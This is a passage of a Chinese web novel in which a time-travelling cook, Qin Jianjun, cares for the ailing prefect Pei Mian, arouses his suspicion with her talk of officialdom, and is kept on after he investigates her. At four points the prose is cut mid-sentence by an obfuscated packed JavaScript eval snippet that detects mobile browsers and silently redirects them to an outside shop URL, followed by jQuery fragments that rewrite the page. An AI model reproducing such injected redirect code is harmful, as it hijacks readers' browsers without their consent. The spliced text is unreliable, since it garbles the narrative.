今日天气晴好,春风和煦,是出门的好日子。 “不了。”裴眠听到要出门,方才还放松的脸色忽然有些紧张起来,连声音了低了几度。 秦见君看向他,裴眠却不看她,只低着头假装不在意的样子,手上的书却半晌都没翻页。 秦见君多少能猜到原因,他瘦得厉害,现在连站都站不起来了,对比从前健康的时候,肯定是不希望别人看见自己现在这副模样的。 秦见君也不多劝,泡了一壶茶放在裴眠手边,她拿了钱,叮嘱裴眠:“这里晒不着太阳,你看会儿书,我买完十三香就回来。” 裴眠不良于行,做什么都不方便,最好还是有人看着。 秦见君并不知道,袁原每日并没有许多事要办,多数时候都是潜在暗处保护裴眠,所以才叫“暗卫”。 所以即便她离开,也不必担心裴眠。 但她并不知道此事,离开厨房时一步三回头,连裴眠都看不下去了。 “若是需要药材,可以去明心阁找齐大夫,他那儿药材齐全,且有专人定时补货。”裴眠道。 虽然能在府中直接抓到十三香是挺方便的,但秦见君有点不敢去。 裴小之闲聊时跟她提起过,前段日子齐大夫知晓裴眠请了外来大夫来诊脉,心中颇为不忿,闹脾气不给裴眠诊脉了,如今日日在明心阁闭关,先前裴小之去请过两次,都被拒在门外了。 秦见君觉得自己去明心阁,应该也不会得到齐大夫什么好脸色...... 她讪讪地笑了一下,打算实话实说:“能在府中买到十三香当然最好,但齐大夫最近不是在闭关吗?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13419195|141165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>裴眠轻叹了一声,道:“他不会为难你的,你尽管去。” 明心阁在知州府南边,入了院门便能闻到草药味,正前方是一座高楼,与其说是楼,倒不如说像塔,秦见君抬头数了数窗户,有四层,一楼只有一个门出入。 高楼左右有几间屋子,都关着门,不知是做什么的,她上了台阶,敲响高楼的门。 一个小药童来开了门,看是秦见君,便侧身将她放了进去。 “师父在四楼等您。”小药童说了一声,便转头去忙自己的事了。 秦见君一边往楼梯上走,一边观察了一下一楼,墙上都嵌着抽屉,抽屉上贴着字条,应该是药材名,那小药童正在用碾子磨药,她收回视线往上走。 每一层都是一样的布局,她上了四楼,看见一个四五十岁上下的大叔正背对着自己写字。 齐冬青停了笔,转过身看着秦见君,半晌才道:“你就是给裴眠做饭的小厨娘?” 秦见君点点头,恭敬地鞠了个躬:“齐大夫。” “找我何事?” 齐冬青是粗眉毛,上眼皮与眉毛的间距近,眉眼紧凑,加上他总是喜欢蹙眉,给人一种凶狠的感觉。 秦见君悄悄吸了口气,心想大夫不都是治病救命的吗?她记得医院里的医生看起来都挺慈眉善目的,怎么这位齐大夫看着像是来要自己狗命的...... “我做菜需要用到一种材料,叫做‘十三香’,是由十三种药材按比例配好,再研磨成粉制成的,听说齐大夫备受知州大人敬重,大人特意给您一座明心阁来贮存药材,所以想来问问,能不能在您这里配十三香。” 齐冬青黑白分明的眼睛盯着秦见君,半晌都不说话,把秦见君看得后背发毛,头也不自觉低了下去:该不会马屁拍过头了吧? 空气中的静谧几乎要把秦见君的脖子压断了,她心里打起了退堂鼓,要么还是去街上的药店抓十三香吧,这齐大夫也太吓人了...... “要不......”还是算了。 话还没说完,齐冬青忽然发出了突兀的笑声,他笑起来时眼角有褶子,紧凑压抑的眉眼也舒展开来,看着倒是有几分大夫的慈悲像了。 “你怎么这么不禁吓?”他笑够了,手心向上朝秦见君伸过去,“方子拿来,我给你抓。” 秦见君被耍了也没生气,她尴尬地搓了搓手:“我不识字,能把方子念给您听吗?” “不识字还能记住方子?”齐冬青挑起了粗眉,“念来听听。” 待秦见君将药材与数量都说了一遍,齐冬青的眉毛便挑得更高了。 “这是裴眠教你背的?” 秦见君摇头:“这是我家祖传的配料方子。”反正大荆也没有十三香,自己是首创,说是祖传的应该不容易被拆穿吧? 齐冬青不信,他偏了偏头,怀疑道:“难道不是裴眠让你来找我的?” 秦见君知道瞒不过齐冬青,老实道:“是大人让我来找你的,但只是让我来抓十三......” 话还没说完就被齐冬青打断了:“抓十三香不还是为了给他做饭?他连诊脉都不信我,我才不帮他这个忙......” 说着,他看似不经意地轻声嘟囔了一句:“外面那些大夫能诊出来他死期将至?真是心大......” 秦见君抬头:“什么?” 18.第 18 章 秦见君拎着十三香回了厨房,她有些心不在焉的,进门时肩膀撞在门板上,发出巨大声响。 裴眠合上书册,抬头看她。 “十三香我拿到了,齐大夫他......没有为难我......”秦见君调整了一下心情,尽量让自己看起来与平时无异。 裴眠心思细腻,看穿了她拙劣的伪装,但并没有戳破。 秦见君转过身去拿艾草,清明将至,她想做些青团吃。 她背对着裴眠,低头摘着艾草,但又忍不住频频回头看他,瞧着并没有齐大夫说的那么严重,能坐着还能看书,哪里像将死之人?秦见君脑子里自动回忆起齐冬青的话。 “别看他这段日子吃得好,面色好了些许,这不过就是回光返照罢了,你也是幸运,恰好遇上他回光返照能进食,看似是你做的吃食合他胃口,实则换个人也一样。” 秦见君没想到自己被留下的真相竟然是这样,裴眠一死,她就要丢工作了,之前的规划也要统统作罢,这情况实在是很不妙。 “大人这病......没其他法子了吗?”秦见君想再挣扎一下,好工作不易找,这道理无论是在现代还是在大荆都一样适用。 “我早说过,他这就是心病,心病治好了,身子自然会跟着好起来。” “可他最近已经不再看虔渊州来信了。”秦见君道。 齐冬青哼笑了一声:“他不看就代表他不想吗?他心中的抱负不会变,一日不达到,便一日压在心头,总有一日会把他生生压垮!” 秦见君又一次转头看向裴眠,这次被他抓了个正着。 “有事?”裴眠问。 “额......”秦见君眨了眨眼,迟钝道,“我......艾草摘不完......”好糟糕的借口,希望裴眠别怀疑...... 裴眠放下书,对她道:“拿过来吧,我帮你。” 秦见君把艾草都拿到了窗台上,她与裴眠,一个在里,一个在外。 “要怎么摘?” “把嫩芽和叶子摘下来,放进这里面。”秦见君摆了一个木盆在旁边。 “好。”裴眠动手摘艾叶,他做事一向专心,看书是、写信是,连摘艾草都是。 虽然秦见君知道别人专注做事的时候最好别打扰,但她实在是忍不住:“大人......” “嗯?”裴眠头都没抬。 “你有什么抱负吗?” 裴眠的手一顿,随即很快又继续摘起艾草来。 “怎么忽然问这个?” 秦见君扒拉了一下盆中摘好的艾草,状似不经意道:“跟你闲聊嘛,总觉得大人这样位高权重的人,肯定有特别大的抱负。”说完,她悄悄抬眼去看裴眠。 裴眠许久没搭话。 看来套话是没戏了...... “你认为......”正当秦见君叹气的时候,耳边忽然响起裴眠的声音,“我这样的官位,该有什么样的抱负呢?” 秦见君愣了愣,她倒是没想过裴眠会反问自己。 她看着裴眠,这样的人为官,定不是为了钱与权...... “应当是海晏河清、百姓富足?”秦见君问。 裴眠抬头望向她,似是有些不相信,偏远村子里出来的小厨娘能讲出这样的话。 秦见君也看出了他眼中的惊讶,磕磕巴巴补充道:“就......脚店里大家聊天都这么说,这是百姓的期望......” 裴眠点点头,又问她:“那你觉得如今的大荆如何呢?算得上是海晏河清、百姓富足吗?” 秦见君摇头,她压根没见过几个大荆官员,官场风气如何、官职分布如何,她都不清楚,如何判断是否海晏河清呢? 她想起在井沟村时,家家户户都以耕种为主,分得的田地刚好够一家人的口粮,税收不重,但百姓生活却也谈不上“富足”,比勉强满足温饱要强上一点罢了。 裴眠看着她澄澈漂亮的眸子,里面带着些许迷茫,又不知为何染上了悲悯之情,他被这双眸子深深吸引,心底有个声音在说:可以告诉她,她懂。 “大荆官制混乱、职位冗杂,多数官员尸位素餐,并不真心为百姓做事,可朝廷的钱却要花在这些人身上......” 裴眠也不管秦见君听不得听得懂,叹了口气继续道:“我的抱负便是改官制,整合人才,让真正有才能、能踏实为百姓做事的官员发光发热,朝廷可以有更多余钱用于建设大荆......” 秦见君当然听得懂,想起当初来绵州的路上阿浩同她说的那些话,想来连官家都无绝对话语权,更别提裴眠了。 大荆官制由来已久,其中利益关系错综复杂,裴眠一个人想要把这棵巨树挖出来重新栽种,必是要舍弃一些断根残枝的,可依附着这些断根残枝生存的官员又怎么会甘心呢? 秦见君有些明白了,裴眠如今的处境十分受限,外有旧制拥护者阻拦,内有不健康的身体拖着,他这个抱负只能放在心里,越积越厚。 难怪齐冬青说裴眠不看虔渊州的来信,并不代表他不会去想虔渊州的形势...... 眼下看来,只要虔渊州局势不变,裴眠就永无出头之日,他的心病只会越来越重,最后......导致死亡...... 秦见君有点焦虑起来——裴眠不能死。 她抬头看了看这四方通透、光线充足的厨房,厨房外是春日繁盛的花草,蝴蝶在花蕊上停驻,鸟雀在枝头啾鸣,一切都是生机勃勃的样子...... 裴眠还在望着她,她停了手里的活儿,似是在思考。 裴眠没有出言提醒,只静静等着,他不确定她有没有听懂自己在说什么。 虔渊州的世家贵族多,他们喜欢在府上办私塾,家中的女子也可以去听学,故而裴眠见过不少才学渊博的小姐们,其中不乏能力、见地都在男子之上者。 可秦见君来自井沟村,她应该真的不知道自己在说什么...... “大人。”秦见君许久才开口,她回望裴眠的眼神坚定又通透,“改制的最终目的,还是想让大荆更好、百姓更富裕吧?” 裴眠眨了眨眼,没料到秦见君会突然说话,他回:“那是自然。” “在其位谋其职。”秦见君道,“大人在朝中时肯定会运用职 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13430347|141165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 权,坚决提出改制,可却受到重重阻碍,不然不会落下不吃饭的毛病,如今你任绵州知州,专心为绵州百姓做事,不也是在为大荆努力吗?” “你刚刚说大荆官场上许多人尸位素餐,说句不好听的......你现在不也是这样吗......”秦见君小心地观察着裴眠的表情,生怕他恼羞成怒,可他仅仅只是蹙眉,似乎是在思考自己说的话,并没有生气的征兆,于是秦见君的胆子也大了点。 “改官制就是为了节省朝廷支出、整合官员资源、提高管理效率,但说实话,如果只是改官制,恐怕是达不到这些目的的......” “贪财贪权的官员还是会有,学坏容易学好难,本心清明的官员最终也会被官场风气带歪,这是因为那些贪官做出了‘表率’,让其他官员看见了‘贪’的好处,所以有越来越多的官员对‘贪’趋之若鹜,如果大人愿意脚踏实地为绵州百姓谋福祉,做出‘好官员’的表率,相信也会让很多正在摇摆中的官员和学子们看见希望。” 裴眠抿了抿唇:“我尚在朝中时,所做之事都不能改变那些人的心意,如今贬为知州,人微言轻,所做之事又能影响多少官员呢?” 秦见君摇了摇头,不赞同道:“话不是这么说,你不一定非要影响官员,只要能影响绵州百姓就好了,名声由百姓口口相传,总会传到各州官员耳朵里,正所谓寡不敌众......”秦见君顿了顿,低声道,“大人要清楚,朝中官员是‘寡’,大荆土地上这么多的百姓才是‘众’......” 秦见君一开始确实被裴眠当下的处境给难住了,“内忧外患”的,看着分明就是死局,但仔细一想,裴眠的目的是改制,先前尝试过在位高权重时提出,但失败了,那就可以试试改走群众路线。 他孤身说要改制,其余官员想打压他易如反掌,但如果全大荆的百姓都说要改制,那即便是官家反对,也必须先好好掂量一下才行。 秦见君看裴眠正在思考,忍不住又补充道:“大人或许没听过,有一句话叫‘星星之火,可以燎原’,大人只管做好眼下实事,将火种播撒出去,若这火种确实顺应天意,自然会在大荆烧起来。” 裴眠醍醐灌顶似的看着秦见君,但片刻不到,他便反应过来,警惕道:“你是如何知晓这些的?” 秦见君这才发觉自己说多了,字都识不全的她,怎么会知道这些呢? 裴眠手里还拿着艾草,眼睛直勾勾盯着秦见君,那双眼不似平日里温润从容,反而凌厉带着杀气。 秦见君这时才忽然对“裴眠曾在朝中任职”一事有了实感,朝廷那种地方,吃人都不带吐骨头的,他能在里面待七年,尤其多数时间还都是拖着病体与群臣周旋,他必然是聪明的,甚至是......冷血的、残忍的...... 裴眠看着秦见君,她的眉头不再微微挑起,眼睛也不似平日里那样圆,紧绷的上眼皮变得平直,像是撕了外面那层无害的伪装——快要露出带着毒素的獠牙了。 “你到底是什么人?”裴眠一字一句地问道。 此时天上忽然聚起一团乌云,将日光遮了个严实,两人的脸一同被掩在阴影下。 19.第 19 章 秦见君进王府一个多月,几乎日日都是晴天,这还是第一次有“风雨欲来”的感觉。 周遭连空气都冷了下来,阴影中的艾草不再碧绿,看着更像是阴沉的墨绿色。 “郎君!要下雨了!”裴小之从石甬路小跑着过来,近了才发觉二人之间的气氛有些不对。 “要......下雨了......郎君回不回淌虹苑?”裴小之的目光在二人之间逡巡,连说话的声音都犹疑起来。 “回。”裴眠先开口了。 裴小之连忙去推裴眠,转身前向秦见君投去了一个询问的眼神,但裴眠自始至终都没再看过她。 两人走了不一会儿,窗外便响起淅淅沥沥的雨声。 秦见君将窗台上的艾草拿回了厨房,她盯着窗台看了许久,最后将窗户关上了。 没了日光,厨房里也变得有些暗,一盏烛火亮起,照亮了秦见君和她的一方小天地。 早知道就不多嘴了......这下要怎么解释自己的身份呢?说自己是从科技发达的现代穿越过来的?裴眠会信吗? 秦见君摘了会儿艾草,忽然重重地叹了口气,她盯着面前的木盆开始发呆,恍然间还以为自己回到了现代,都是一个人、一间屋子、一盏灯,熟悉的孤独感从心底爬出来,像长着倒刺的藤蔓,将她的心紧紧缠住...... 裴眠回了书房,却没心思看书,而是坐在窗边看雨。 晶莹的水滴不断从天上落下来,砸在绿叶上、花瓣上、石板上,发出啪嗒声,利落又清脆,但裴眠的心里却乱成一团。 他已经离开虔渊州有一段时日了,许久没有动作,朝中众臣们也大都相信他是真的被贬后死心不再插手朝堂之事,那么究竟是谁将秦见君安插入知州府的呢? 袁原怕窗边寒气重,忍不住现身为裴眠盖了一块毯子。 裴眠缩在毯子里沉默着,方才冰凉的手脚慢慢回了一点温上来。 虽然近一个月吃食上相较之前已是极大进步了,但身子却没什么大起色,他总觉得自己身体里有一只怪物,所有吃进去的食物都被那怪物吸收,待有一日他再也不能进食,那怪物便会将他吞噬。 “袁原。” 袁原低头看着裴眠,裴眠的脸上没什么表情,声音也冷冷的:“仔细查查她,去井沟村查。” 袁原领命出去了,他知道这是要彻查秦见君,裴眠并不想杀她,只要能证明她身份清白,这厨娘依然是做得的。 青团的香气萦绕在厨房中,裴小之一边捧着青团吹凉,一边问:“今日是怎么了?” 秦见君手下一顿,很快又继续刷起锅来,嘴上貌似不在意道:“说错话,惹他不高兴了。” 裴小之好不容易咬上了青团,喷香有韧劲的青团皮包裹着软糯绵密的红豆沙馅入口,甜滋滋的味道绽放在舌尖上。 裴小之爱极了秦见君做的甜食,甜而不腻,还能保持食材原有的味道,层次之丰富实在让人惊叹。 “我们郎君有时爱闹别扭,不是真的生气,你做些好吃的哄哄他就好了。”裴小之啃着青团,不在意道。 秦见君在心中叹了口气,这次恐怕不是单纯的“闹别扭”了...... 裴小之吃完一个青团,便催着秦见君将剩下的青团都放入食盒中,他一手拎着食盒一手撑着伞,转身对秦见君道:“我去给郎君送青团,放心吧,他很好哄的。”说着便踏入雨中。 这雨起先是淅淅沥沥的,接着便越下越大、越下越密,豆大的雨点砸在瓦片、窗棂上,噼里啪啦的声音甚至让秦见君感到了片刻耳鸣。 窗外连通向落霞轩的甬路都看不清了,眼前似乎蒙上了一层白白的珍珠帘子,秦见君转头看了一眼莲花漏,倒是不着急做晚饭,那就赏会儿雨吧。 如果裴眠要辞退自己,那要去哪儿找工作呢?要不然先去酒楼里应聘厨子试试?可绵州最大的珍馐楼主厨已经记恨上自己了...... 因着只有酒楼有官方许可的酿酒权,其余脚店只能去酒楼进货,所以脚店肯定也不敢得罪大酒楼,自己简直就是前程堪忧...... 正想着,雨帘中忽然闯进来一个人影,秦见君定睛一看,是裴小之! 裴小之进了厨房,衣摆都湿透了,连头发上都是雨水,手中的食盒也被打湿了,秦见君忙上前接过食盒,发觉这食盒的重量没变——裴眠没有吃青团。 裴小之看秦见君掂量食盒,便有些尴尬地冲她笑了笑:“郎君这次好像是真的生气了......”他接过秦见君递来的毛巾擦了擦头发,犹犹豫豫地看着秦见君,似乎不知道该如何开口。 秦见君只好自己问:“大人说了什么吗?” 裴小之的眼神左右飘忽了一会儿,又看向秦见君,似是下了决心般才开口:“郎君说......这几日你先不用给他做饭了......” 秦见君点了点头,裴小之忙安慰她:“郎君方才说要重新接手绵州事务,许是忙起来没胃口才......” “知道的......”秦见君觉得,自己大概就要被辞退了。 “之管家,府上能烧纸吗?”明日便是清明了,虽然穿越了,但她还是想按照习惯给韩老爷子烧点纸钱过去。 “府上是不能烧的。”裴小之看秦见君的脸色更差了,于是道:“你去侧门外头烧吧,我同守门的小厮打个招呼,不必走太远,近日烧纸的人多,外头有些乱,若是被孤魂野鬼缠上就不好了。” “孤魂野鬼?”秦见君问。 “是啊,每逢清明、中元,家中有孩子和小娘的,都是不许他们出门的,因为身上阳气不足,容易被孤魂野鬼缠上,前几年我在虔渊州时,听说有一户人家未出嫁的小娘被鬼魂缠住了,一夜之间性情大变,出嫁当日竟一头撞死在夫家门口!” 秦见君眨了眨眼,这故事还挺耳熟的...... “所以你千万别走远,也别夜里烧。”裴小之叮嘱道。 “多谢提醒。”秦见君应了声。 不用给裴眠做饭,秦见君自己也没心思摆弄,晚饭草草对付后便回了落霞轩。 秦见君难得睡了个懒觉,昨日的雨一直下到半夜才停,她洗漱后在院子里打八段锦,鼻尖萦绕着被水浸润的花香。 院子中的花草被雨水冲刷得干干净净,叶子碧绿、花朵鲜艳。 进厨房后,秦见君看见台面上备着的面粉,忽然想起昨日答应裴眠给他做千层饼吃的...... 最后她还是做了千层饼,自己吃了几块,将剩下的都留在蒸屉里,等裴小之自己来寻。 上街溜达了一圈,买了几扎纸钱,顺便问了问附近有没有招工的,得到的答案都是否定的,其中有几个相熟的菜农听她问这个,还笑她本就在府中做事竟然还贪外头的工,也不怕知州大人怪罪。 秦见君打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13444784|141165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哈哈糊弄过去了,恐怕过几日,她若是还死皮赖脸留在府中,那才会被知州大人怪罪...... 裴眠又开始吃不下东西了,大厨房端来的饭菜他看着十分没胃口,连筷子都不想动,裴小之看着着急,却也无可奈何。 “郎君......你同秦小娘置气,也不能饭都不吃啊......”裴小之劝道。 裴眠不说话,饿了快一天,他有些没力气。 裴小之重重叹了口气,退出了屋子,他们家郎君有时候犯起倔来,谁都劝不住。 裴小之一走,袁原便翻窗进来了,他风尘仆仆,衣摆上还有干透了的泥点子。 “大人,查好了。” 裴眠默了默,没立刻让他说,他有点心慌,如果秦见君真是哪家官员派来的奸细......要如何处置她才好呢? 可无论如何,真相就在那里,或早或晚,他都要知晓的。 “说。” 袁原拿出府中小厮当初抄录的路引递给裴眠,将自己昨夜的收获讲给他听:“秦见君的身份是真的,她确实是湖梁县井沟村秦留志的女儿,相貌也能与村民的描述对上,从小便待在井沟村,去的最远的地方是湖梁县城,并未念过书......” 袁原顿了一下,继续道:“一个月前她从井沟村逃出,是因为遭受了父亲秦留志的毒打......” 说到这里,他清楚看见裴眠皱了一下眉。 “秦留志此人以务农为生,家中一共父母姐弟四口人......”说到这里,袁原停住了,似是有什么话想说,还在斟酌要不要说出口。 裴眠的声音有些冷,道:“说。” “秦小娘出逃前已许了人家。” 裴眠垂着眸子,苍白的手攥着路引抄录,手背绷起的青筋十分明显。 “那人是井沟村附近的下米村一屠户家的儿子,听说脑子不太好,他爹为了给他娶媳妇,拿出了许多彩礼钱。”袁原说到这里,心中也有些为秦见君不平,她手艺好、人也温和,怎么就摊上了这样的爹? “秦小娘出逃后,那屠户家上门要人不成,便让秦留志赔了两贯钱,秦留志向村民扬言,若是找回了秦小娘,定要好好教训她一顿。” “好好教训她......”裴眠低声重复道,他将手中的纸展平了仔细看着。 袁原带回来的消息,并不能完全打消自己的疑虑,如果她真的从小没出过湖梁县,也从未上过学,那是如何知晓那些官场的弯弯绕绕的? 想不出答案,裴眠便让袁原推着自己出去散散心,路过池塘时,袁原问往哪边去,裴眠指了另一个方向,这是要避开厨房。 轮椅压在石甬路上,声音并不大,但还是惊动了墙下打盹的两位小厮。 “大......大人!”两人惊慌失措地起身行礼,头都不敢抬。 “你们不好好守着侧门,怎么在这里偷懒?”袁原问。 “是......是之管家,说秦小娘今日要来侧门烧纸......让我们给秦小娘腾位置......”小厮回得胆战心惊的,生怕裴眠不高兴将自己逐出府去。 “她在哪儿?”裴眠出声了。 “在、在侧门外头,没、 没走远......”小厮回。 裴眠微微点头,跪在地上低着头的小厮自然看不见,这是点给袁原看的。 袁原会意,推着轮椅往侧门去了。 20.第 20 章 知州府很大,西侧门却很小,高大的砖墙将府内与府外分隔开来,让人望而生畏。 轮椅还没到西侧门前,裴眠忽然听到了低低的啜泣声,他抬手示意袁原别再往前,两人没出侧门,也压根看不到秦见君,只在门内听着——她在哭。 秦见君到了侧门,两位小厮都知晓她要做什么,打过招呼便离开了。 她拎着纸钱出了侧门,左右看了看,这是一条巷子,不算狭窄,但足够偏僻,出了巷子便是热闹的菜市,不过几步之遥,却像隔着天堑。 火苗燃起的瞬间,秦见君忽然鼻头一酸,她原以为自己不会哭的,毕竟韩老爷子走了好几年。 前几年她开始做直播,每天从睁眼忙到入睡,期间还坚持抽空去给他烧纸,那时她压根哭不出来,还以为自己已经释怀了韩老爷子的离开,如今看来或许只是因为太累了...... 要如何释怀呢?这个让她第一次感受到“幸福”的老头,帮她早早找到人生目标的老头......离开的时候甚至在遗嘱中加了条款,不许儿女欺负她,只要她想,就能在含萃楼吃穿不愁到老...... 不再顾及衣裳会不会脏,秦见君对着墙根跪下,将纸钱往火堆里扔,眼泪啪嗒啪嗒往下砸,说话刻意小声,压得声音十分哽咽。 “老头,今年没去含萃楼给你的排位上香,因为我来到了一个......很陌生的地方......” 墙内的裴眠略略抬眸,他在脑海中仔细搜索“含萃楼”是什么地方。 “这里很像古代,我现在在知州府当厨娘,之前跟你说的理想我没忘,不管我在哪里,都一定会想办法达到目标的......” 她声音很小,带着哭腔,好几次都说着说着没了声音,嗓子哑得不行:“老头,这里的纸钱跟我们那里的不一样......不知道你能不能收到,万一收到了不能用怎么办?不能用的话,我也没办法......” 裴眠听着她小声喃喃,心中疑惑更甚,但比起疑惑,他更担心秦见君如今的状态,哭太久了,她说话时已有了明显的抽搐停顿。 过了一会儿,秦见君的啜泣声渐渐消失了。 “走。”离开前,裴眠又小声道,“派人来盯着她,别哭昏过去了。” 秦见君烧完纸,起身时眼前一阵发黑,伸手扶着墙缓了许久才抬起头。 不用赶着去做饭,她突然不想这么早回府,于是擦干眼泪,走出了巷子。 街边的摊贩已经走得差不多了,秦见君忽然觉得肚子有点饿,她进了一家脚店,点了一份葱油拌面,葱香四溢,但她却有些食不知味。 从现代到古代,自己一直是一个人,没有亲人、朋友,更别谈恋人...... 天边的晚霞从橘红烧到烟紫,秦见君撑着脑袋看向窗外,街上的行人神态各异,有拖家带口的,也有一个人匆匆闷头赶路,似是都有归处......独她没有...... 自己或许下一秒就会被裴眠赶出府,出府后要去哪里呢?井沟村是不可能回的,不如走远一些,去虔渊州碰碰运气? 她忽然重重地叹了口气,下巴搁在手上,现代的房子是租的,古代的房子也不属于自己,什么时候自己能有一个家呢? 一个不会被赶出去的地方。 街上传来闷闷的鼓声,秦见君抬头看过去,看不见是哪里传来的,便问脚店伙计。 “是鸣街鼓,本店要打烊了,小娘快回家吧,可别犯了宵禁。” 秦见君这才想起来,大荆是有宵禁的,晚上八点到第二天凌晨四点不许人在大街上走动。 “多谢。”秦见君付了银钱,往知州府赶。 这边裴眠正对着干涸的池塘沉思,秦见君的身份不作假,她就是井沟村秦家的大女儿,相貌、年龄,都能对得上......究竟是哪里有问题呢? “袁原......她说的‘老头’是逝者?”裴眠问。 袁原点头:“若非逝者,为何今日要烧纸?” 裴眠也点了点头,他蹙眉道:“那为何她要说‘这里的纸钱’同‘我们那里的’不一样?” 袁原抿了抿唇,半晌才道:“先前听裴小之说过,虔渊州有一户人家的女儿曾出过借尸还魂之事,就在清明前后。” “借尸还魂?”裴眠问。 “听闻那小娘八字不够硬,清明出门撞了鬼魂,那鬼魂趁她夜里睡着占了她的躯体,第二日出嫁时便一头撞死在了夫家门口。” 裴眠眉头蹙得更深了,他想来不信鬼神之说,但秦见君这情况...... “大人......”袁原有些欲言又止。 “说。” “属下忽然记起......秦小娘在许给下米村屠户儿子之前,还许过一户人家,先前谈得好好的,可出嫁那日秦小娘忽然变了注意,一头撞在自家木桩上,昏死了过去。” 裴眠看向袁原:“清醒后可有性情大变?” 袁原想了想道:“据村民说,她原先是腼腆胆小的性子,不出门也不见人,可自从撞了木桩,她变得开朗了许多,见人会笑......”他顿了顿,想起什么似的又补充道,“还有,井沟村那地方没有名厨,秦小娘从小待在家中,字都不识,应当不会掌握厨艺......” 难道说,真是借尸还魂?她先前是跟那个“老头”一起在......那边?也只有如此才能说通秦见君的异常。 死而复生,听着骇人,但那人若是秦见君,裴眠便丝毫不惧。 “去问问她。” 袁原推着裴眠到了落霞轩院门口。 裴眠犹豫了一下,暗道自己太鲁莽,此时天都黑了,说不定秦见君已经入睡...... “啊!!!” 落霞轩里传来一声惨叫,是秦见君的声音。 裴眠立刻道:“去看看。” 两人刚进院子,就看秦见君湿着头发跑了出来,她看见两人在院子里,也不管自己与裴眠如今关系尴尬,忙上前抓着轮椅扶手道:“有蜘蛛!” 她从街上回来后觉得身上脏,便烧水洗澡,没想到刚从浴桶出来,就看见一只比巴掌还大的黑色蜘蛛趴在墙上! 天知道她最怕蜘蛛了! 从前在孤儿院时,住宿条件一般,常见蟑螂,但蜘蛛少见。 她第一次见到蜘蛛便是有孩子恶作剧,将死蜘蛛夹在了她上铺的床板缝中。半夜她睡得正酣,忽然一只软趴趴长满腿的虫子掉在了脸上,她尖叫着吵醒了所有孩子,直到老师开了灯,她才看见那是一只蜘蛛... ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13457730|141165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ... 从那之后她便有了阴影,只要看见蜘蛛就怕得不行,这次也是在看到蜘蛛的一瞬间叫出了声。 裴眠看她的头发还在滴水,肩膀上洇出了一大片水渍。 “进去看看。”裴眠让袁原进去,自己则留在院子里陪秦见君。 秦见君吓得厉害,几乎要哭出来,眼眶和鼻头通红。 她下午在侧门外哭时,也是这样吗?看着好可怜......裴眠忍不住想。 不一会儿袁原就出来了,匕首尖上扎着一只蜘蛛,他往前走一步,秦见君就往后退一步,脸上写满了抗拒。 “扔远点。”裴眠道。 袁原领命出了院子。 秦见君这才冷静下来,见裴眠正盯着自己看,她有些后知后觉的尴尬。 昨天两人几乎算是撕破脸一般对峙,她无话可说,也解释不清,不知道裴眠这会儿来,是不是要正式辞退自己。 “你......” 两道声音同时响起,两人都怔了怔。 “你先说。”两人又一次同时开口。 对视片刻,两人都有些忍不住笑。 “我先说。”秦见君道,“昨天你问我是谁......我只能说我就是秦见君,至于我为什么懂那些,我解释不了,说了你也不会信,但我对你绝对没有恶意,也绝对不是谁派来的奸细......” 伸头是一刀,缩头也是一刀,秦见君决定给自己个痛快:“所以,如果你还是不放心想辞退我的话,我明天就走......但是你得把这些天的工钱给我......” 她这番话几乎是坐实了“借尸还魂”的事,裴眠心中惊讶,却也不得不接受。 裴眠半晌不说话,秦见君还以为他不好意思直接赶自己,便给他递台阶:“不好开口也没关系,你明天让之管家告知我就好了......” 她的声音听起来十分冷静,但听得出她有些郁闷,说着说着便没了声。 “不会辞退你。”裴眠总算出声了。 秦见君疑惑地抬头看向他,他脸上有些无奈,轻声道:“你不说自然有你的原由,只管当好你的厨娘,别真的掺和进朝堂中就好。” “真的吗?”秦见君高兴得眼睛都瞪大了,还以为要丢工作了!没想到裴眠狠狠拿起,却轻轻放下了?也许是派人查了自己的身份,发现没有作假,所以放下了戒心? 见她欣喜的样子,裴眠愈发确定,她没什么坏心思,只是想留在府上做厨娘罢了。 “为何一定要留在府上?”裴眠忍不住问。 